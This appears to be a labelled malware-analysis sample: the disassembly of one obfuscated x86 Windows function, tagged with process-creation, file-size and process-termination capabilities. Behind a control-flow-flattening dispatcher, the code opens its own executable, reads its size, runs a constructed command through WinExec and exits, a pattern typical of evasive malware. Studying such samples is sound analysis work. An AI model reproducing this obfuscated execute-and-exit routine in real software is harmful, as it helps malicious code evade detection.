Function at 0x43e0b4
Capabilities:
Create process on windows
Get file size
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xa30
mov esi, esp
mov dword [esi + 4], 0xb9be0274
mov edi, dword [esi + 0x1c]
mov eax, dword [esi + 4]
cmp eax, 0xf4d8c38c
jle 0x43e147
cmp eax, 0x46b8f08e
jg 0x43e19e
cmp eax, 0x23bc4a88
jle 0x43e223
cmp eax, 0x3090480f
jg 0x43e34c
cmp eax, 0x23bc4a89
je 0x43e3f4
cmp eax, 0x27bdab9a
jne 0x43e0cf
add edi, 0x7a
call fcn.00408ba5
push 0x39a4
push 0x31be
push 0x1cdb
push edi
call fcn.0043e660
add esp, 0x10
mov eax, 0xe107af37
cmp edi, 0xda
jl 0x43e5a7
mov eax, 0x3c8ab27c
jmp 0x43e5a7
cmp eax, 0xcf350613
jle 0x43e1d6
cmp eax, 0xe107af36
jle 0x43e268
cmp eax, 0xeafef8d7
jg 0x43e383
cmp eax, 0xe107af37
je 0x43e40f
cmp eax, 0xe3056842
jne 0x43e0cf
push 4
push 0x481447
push 0x67
push dword [esi + 0x10]
call fcn.0043e660
add esp, 0x10
mov dword [esi + 4], 0x46b8f08f
jmp 0x43e0cf
cmp eax, 0x619ba9b2
jle 0x43e298
cmp eax, 0x70f09108
jle 0x43e3ca
cmp eax, 0x70f09109
je 0x43e451
cmp eax, 0x7beaea4b
jne 0x43e0cf
mov dword [esi + 4], 0x70f09109
jmp 0x43e0cf
cmp eax, 0xc1669377
jg 0x43e2fa
cmp eax, 0x8af531ab
je 0x43e466
cmp eax, 0x9f79ae4b
je 0x43e480
cmp eax, 0xb9be0274
jne 0x43e0cf
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0xc], eax
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x14], eax
mov dword [esi + 4], 0xf4d8c38d
jmp 0x43e0cf
cmp eax, 0xf4d8c38d
je 0x43e498
cmp eax, 0x8f0cc61
je 0x43e4a4
cmp eax, 0xd21419f
jne 0x43e0cf
shl edi, 5
add edi, 0xfffffc40
mov eax, 0xc9f1c1e4
cmp edi, 0xe2
jb 0x43e5a7
mov eax, 0x70f09109
jmp 0x43e5a7
cmp eax, 0xcf350614
je 0x43e4b0
cmp eax, 0xda3e6df0
je 0x43e4bc
cmp eax, 0xdbd7bab4
jne 0x43e0cf
mov eax, dword [esi + 0x14]
mov dword [esi + 4], 0x7beaea4b
jmp 0x43e0cf
cmp eax, 0x46b8f08f
je 0x43e4e0
cmp eax, 0x5080623c
je 0x43e504
cmp eax, 0x5f981636
jne 0x43e0cf
add edi, 0x22
shr edi, 9
mov ebx, edi
add ebx, 0xffffff3b
mov edi, ebx
shr edi, 6
push edi
push 0xe1a
push 0x3d87
call fcn.0042ceb7
add esp, 0xc
mov eax, 0xebc0c12f
cmp ebx, 0x440
jae 0x43e5a7
mov eax, 0xd21419f
jmp 0x43e5a7
cmp eax, 0xc1669378
je 0x43e544
cmp eax, 0xc45fd1d8
je 0x43e559
cmp eax, 0xc9f1c1e4
jne 0x43e0cf
mov eax, dword [esi + 0xc]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
add ecx, 0xffffffff
adc eax, 0xffffffff
mov edx, dword [esi + 0xc]
mov dword [edx], ecx
mov dword [edx + 4], eax
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esi + 4], 0xdbd7bab4
jmp 0x43e0cf
cmp eax, 0x30904810
je 0x43e5af
cmp eax, 0x3c8ab27c
jne 0x43e0cf
imul edi, edi, 0x6e
add edi, 0xffffff04
mov eax, 0xb9be0274
cmp edi, 0x12
jae 0x43e5a7
mov eax, 0xe107af37
jmp 0x43e5a7
cmp eax, 0xeafef8d8
je 0x43e5e4
cmp eax, 0xebc0c12f
jne 0x43e0cf
shr edi, 1
imul edi, edi, 0x2ac000
call fcn.00408ba5
push edi
push 0x91e
push 0x5f04
push 0xb88
call fcn.0043e660
add esp, 0x10
mov dword [esi + 4], 0xb9be0274
jmp 0x43e0cf
cmp eax, 0x619ba9b3
jne 0x43e617
mov eax, dword [esi + 8]
shl eax, 9
and eax, 0xfffe00
add eax, 0xfffffe75
mov dword [esi + 8], eax
mov dword [esi + 4], 0xe3056842
jmp 0x43e0cf
mov eax, dword [esi + 8]
add eax, 0x70
shr eax, 0x14
add eax, 0x76
mov dword [esi + 8], eax
mov dword [esi + 4], 0xda3e6df0
jmp 0x43e0cf
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x200
lea ebx, [esi + 0x28]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor eax, eax
push eax
push eax
xor eax, eax
push 3
push eax
push 7
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esi + 0x18], eax
mov eax, dword [esi + 0xc]
mov dword [esi + 4], 0x8af531ab
jmp 0x43e0cf
push eax
sub esp, 0x64
mov eax, esp
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0xeafef8d8
jmp 0x43e0cf
mov eax, dword [esi + 8]
shl eax, 0xe
or eax, 0x248
mov dword [esi + 8], eax
mov dword [esi + 4], 0x8f0cc61
jmp 0x43e0cf
push dword [esi + 0xc]
push dword [esi + 0x18]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [esi + 4], 0xc9f1c1e4
jmp 0x43e0cf
mov dword [esi + 4], 0xcf350614
jmp 0x43e0cf
mov dword [esi + 4], 0x9f79ae4b
jmp 0x43e0cf
mov dword [esi + 4], 0xe107af37
jmp 0x43e0cf
mov eax, dword [esi + 0x20]
mov byte [eax], 0
push 0x67
push 0x4813e0
push dword [esi + 0x10]
call fcn.0044dac0
add esp, 0xc
mov dword [esi + 4], 0x619ba9b3
jmp 0x43e0cf
push 0x68
push dword [esi + 0x10]
push dword [esi + 0x14]
call fcn.0044dac0
add esp, 0xc
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov dword [esi + 0x24], eax
mov dword [esi + 4], 0x65bbaa71
jmp 0x43e0cf
shl edi, 2
mov ebx, edi
and ebx, 0xffffc
lea edi, [ebx + 0xa6]
shr edi, 6
push edi
push 0x30fa
push 0x180d
push 0x159c
call fcn.0043e660
add esp, 0x10
mov eax, 0x30904810
cmp ebx, 0x9da
jb 0x43e5a7
mov eax, 0x27bdab9a
jmp 0x43e5a7
mov eax, dword [esi + 0x10]
add eax, 0x67
mov dword [esi + 0x20], eax
mov dword [esi + 4], 0x23bc4a89
jmp 0x43e0cf
imul edi, edi, 0x4c000
add edi, 0xff3d4000
push 0x5e86
push 0x470
push 0x5a0a
push edi
call fcn.0043e660
add esp, 0x10
push 0x2284
push 0x2118
push edi
push 0x1588
call fcn.0043e660
add esp, 0x10
mov eax, 0x5f981636
cmp edi, 0xd3
jl 0x43e5a7
mov eax, 0xc9f1c1e4
mov dword [esi + 4], eax
jmp 0x43e0cf
add edi, 0xffffffc6
push edi
push 0x255e
push 0xe6a
call fcn.0042ceb7
add esp, 0xc
push 0x28e
push edi
push 0x5ce1
call fcn.0042ceb7
add esp, 0xc
mov dword [esi + 4], 0xb9be0274
jmp 0x43e0cf
mov eax, dword [esi + 8]
add eax, 0x40
lea ecx, [eax + eax*8]
imul eax, eax
imul edx, eax, 0x5b73
dec edx
lea ecx, [ecx*4 + 0xd7]
mov dword [esi + 8], ecx
mov ecx, 0xb9be0274
cmp edx, eax
je 0x43e60f
mov ecx, 0xc1669378
mov dword [esi + 4], ecx
jmp 0x43e0cf
cmp eax, 0x65bbaa71
jne 0x43e0cf
mov dword [esi + 0x1c], edi
lea edi, [esi + 0x228]
lea eax, [esi + 0x28]
push eax
push eax
push dword [esi + 0x24]
push dword [esi + 0x14]
push 0x800
push edi
call fcn.0042ceb7
add esp, 0x18
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]